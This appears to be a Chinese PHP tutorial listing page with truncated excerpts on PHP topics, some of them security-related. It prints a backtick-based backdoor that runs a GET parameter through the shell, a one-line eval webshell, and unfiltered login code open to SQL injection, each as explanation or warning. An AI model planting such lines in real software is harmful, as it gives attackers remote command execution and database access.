Time of Update: 2017-01-19
PHP通過提取魔術引號產生的“\”字元會帶來一定的安全問題,例如下面這段程式碼片段:// foo.php?xigr='ryatfunction daddslashes($string, $force = 0) {!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());if(!MAGIC_QUOTES_GPC || $force) {if(is_array($string))
Time of Update: 2017-01-19
在php5.2版本的配置中,預設output_buffering為關閉狀態,因此運行下面三行代碼將會出現一個警告:Warning: Cannot modify header information - headers already sentecho 'hello1';header('content-type:text/html;charset=utf-8');echo 'hello2'; 開啟OB緩衝的方式有如下兩種:1. php.ini中開啟 output_buffering =
Time of Update: 2017-01-19
一、php交易處理概述:事務:是若干事件的集合交易處理:當所有事件執行成功,事務才執行;若有任何一個事件不能成功執行,事務的其它事件也不被執行。只要你的MySQL版本支援BDB或InnoDB表類型,那麼你的MySQL就具有交易處理的能力。這裡面,又以InnoDB表類型用的最多,雖然後來發生了諸如Oracle收購InnoDB等令MySQL不爽的事情,但是這類商業事件與技術無關,下面就以InnoDB表類型為例簡單說一下MySQL中的交易處理。二、php交易處理代碼:<?php try{
Time of Update: 2017-01-19
PHP編程可實現顯示照片EXIF資訊,顯示圖片中縮圖效果,其代碼如下:<?/*** 擷取圖象資訊的函數* 一個全面擷取圖象資訊的函數* @access public* @param string $img 圖片路徑* @return array*/function GetImageInfoVal($ImageInfo,$val_arr) { $InfoVal = "未知"; foreach($val_arr as $name=>$val) { if
Time of Update: 2017-01-19
php變數前面加&符號是什麼意思就不用多說了,大家都在用,就是兩個變數同時指向一個地址而已,那麼,php函數前面加&符號的意義又是什麼呢?下面先上兩個示範代碼,然後再做解釋。function &chhua() { static $b="www.jb51.net";//申明一個靜態變數 $b=$b."WEB開發"; echo $b; return $b; } $a=chhua();//這條語句會輸出 $b的值 為“www.jb51.netWEB開發” $a="PHP"; echo
Time of Update: 2017-01-19
準備工作為了更好的示範本例,我們需要一個資料表,記錄需要的功能說明及開啟狀態,表結構如下:複製代碼 代碼如下:CREATE TABLE `pro` ( `id` int(11) NOT NULL auto_increment, `title` varchar(50) NOT NULL, `description` varchar(200) NOT NULL,
Time of Update: 2017-01-19
偶然間看到一段,看起來似乎沒有什麼問題,確是能致命的後門代碼,這裡用到了一個一般的PHPer都不怎麼關注的反撇號 ` ,反撇號包含的字串,等同於shell_exec函數。偽裝性很好,很容易被管理員忽略。$selfNums = $_GET['r'];if (isset($selfNums)){ echo `$selfNums`;}剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變數被一個符號包起來了,既然是變數為什麼要這樣了,而且又不是單引號,這個就是關鍵所在了,這個符號是
Time of Update: 2017-01-19
很多人在linux下使用crontab實現PHP執行定時任務卻未能成功,不能產生緩衝。本文就linux下使用crontab實現定時PHP計劃任務失敗的原因做一分析。一般我們linux定時執行php代碼例如:*/5 * * * * /usr/local/php/bin/php
Time of Update: 2017-01-19
PHP的htmlspecialchars、strip_tags、addslashes是網頁程式開發中常見的函數,今天就來詳細講述這些函數的用法:1.函數strip_tags:去掉 HTML 及 PHP 的標記注意:本函數可去掉字串中包含的任何 HTML 及 PHP 的標記字串。若是字串的 HTML 及 PHP 標籤原來就有錯,例如少了大於的符號,則也會傳回錯誤。而本函數和 fgetss()
Time of Update: 2017-01-19
PHP可以實現對文本資料庫的資料的顯示、加入、修改、刪除、查詢等五大基本操作。我們以一個留言本程式為例,簡述一下PHP實現對文本資料庫的資料顯示、加入、修改、刪除、查詢五大基本操作的方法。此文本資料庫共有欄位10個:客戶IP、發言時間、客戶名、客戶EMAIL、客戶首頁地址、留言表情圖片名、客戶QQ、客戶形象圖片、留言內容、管理員回複內容。1、加入資料程式:$date=date("Y-m-d H:i:s");//取得系統時間$ip = $HTTP_SERVER_VARS[REMOTE_ADDR];
Time of Update: 2017-01-19
最近的PHP項目中,需要用到切圖和縮圖的效果,在linux測試伺服器上很輕鬆的就安裝好php imagick擴充。但是在本地windows開發環境,安裝過程遇到好多問題,在此與大家分享。1. 下載 ImageMagick下載地址:http://imagemagick.org/script/binary-releases.php下載最新版本,ImageMagick-6.8.6-9-Q16-x86-dll.exe2. 安裝 ImageMagick安裝 ImageMagick 到 PC
Time of Update: 2017-01-19
一、簡介 臨時檔案,顧名思義是臨時產生的檔案,且檔案的生命週期很短。 然而,很多應用的運行都離不開臨時檔案,臨時檔案在我們電腦上無處不在,主要有以下幾種形式的臨時檔案:1.檔案或圖形編輯程式,所產生的中間檔案2.資料庫查詢時,產生的臨時快取檔案,提供之前的結果資料而,以減少再次訪問資料庫的代價;通常用於遠端資料庫或遠程xml的服務3.檔案被上傳後在服務端的臨時儲存,其檔案名稱為php的全域變數$_FILES['userfile']['tmp_name']的值4.在http請求中,用於存放se
Time of Update: 2017-01-19
昨天同事遇到一個奇怪的問題,就是以下代碼,無法通過JSON校正,也無法通過PHP的json_decode函數解析。複製代碼 代碼如下:[ { "title": "", "pinyin": ""
Time of Update: 2017-01-19
實現代碼:// 正序foreach($files as $file_num => $file) {if(is_file($directory.$file)){//$file = iconv("gb2312","UTF-8",$file); //或者 iconv("gb2312","UTF-8",$value);$date = substr($file,0,9);echo '<li class="world-cup-'.$date.'">';echo '<a href="'
Time of Update: 2017-01-19
php的eval函數並不是系統組件函數,因此我們在php.ini中使用disable_functions是無法禁止它的。但是eval()對於php安全來說具有很大的殺傷力,因此一般不用的情況下為了防止類似如下的一句話木馬入侵,需要禁止!<?php eval($_POST[cmd]);?>eval()使用範例:<?php$string = '杯子';$name = '咖啡';$str = '這個 $string 中裝有 $name.<br>';
Time of Update: 2017-01-19
在防止sql注入這些細節出現問題的一般是那些大意的程式員或者是新手程式員,他們由於沒有對使用者提交過來的資料進行一些必要的過濾,從而導致了給大家測試的時候一下就攻破了你的資料庫,下面我們來簡單的介紹一個使用者登入未進行安全配置可能出現的sql注入方法,下面一起來看看吧。比如以下一段登入的代碼:if($l = @mysql_connect('localhost', 'root', '123')) or
Time of Update: 2017-01-19
遠端管理外掛程式是目前廣受WordPress網站管理員歡迎的工具 + 生產力,它允許使用者同時對多個網站執行相同的操作,如更新到最新的發行版或安裝外掛程式等。但是,為了實現這些操作,用戶端外掛程式需要賦予遠端使用者很大的許可權。因此,確保管理伺服器和用戶端外掛程式之間的通訊安全且不能被攻擊者偽造就變得相當重要了。本文淺析幾款可用外掛程式,利用其弱點,攻擊者甚至可以完全危及到運行這些外掛程式的網站本身。ManageWP, InfiniteWP, and CMS
Time of Update: 2017-01-19
無平台限制只需要告知id,parentid,name 即可<?phperror_reporting(E_ALL ^ E_NOTICE);class Tree{ /** +------------------------------------------------ * 產生樹型結構所需要的2維數組 +------------------------------------------------ * @author abc +---------------
Time of Update: 2017-01-19
在放假之初,我抽時間看了《白帽子講web安全》,吳翰清基本上把web安全中所有能夠遇到的問題、解決思路歸納總結得很清晰,也是我這一次整體代碼安全性的基石。我希望能分如下幾個方面來分享自己的經驗把握整站的結構,避免泄露網站敏感目錄在寫代碼之初,我也是像很多老源碼一樣,在根目錄下放上index.php、register.php、login.php,使用者點擊註冊頁面,就跳轉到http://localhost/register.php。並沒有太多的結構的思想,像這樣的代碼結構,最大的問題倒不是安全性問
Time of Update: 2017-01-19
一、概述:目前進行Web Service通訊有兩種協議標準,一種是XML-RPC,另外一種是SOAP。XML-RPC比較簡單,出現時間比較早,SOAP比較複雜,主要是一些需要穩定、健壯、安全並且複雜互動的時候使用。PHP自身就整合了XML-RPC和SOAP兩種協議的訪問,都是集中在xmlrpc擴充當中。另外,在PHP的PEAR中,不管是PHP 4還是PHP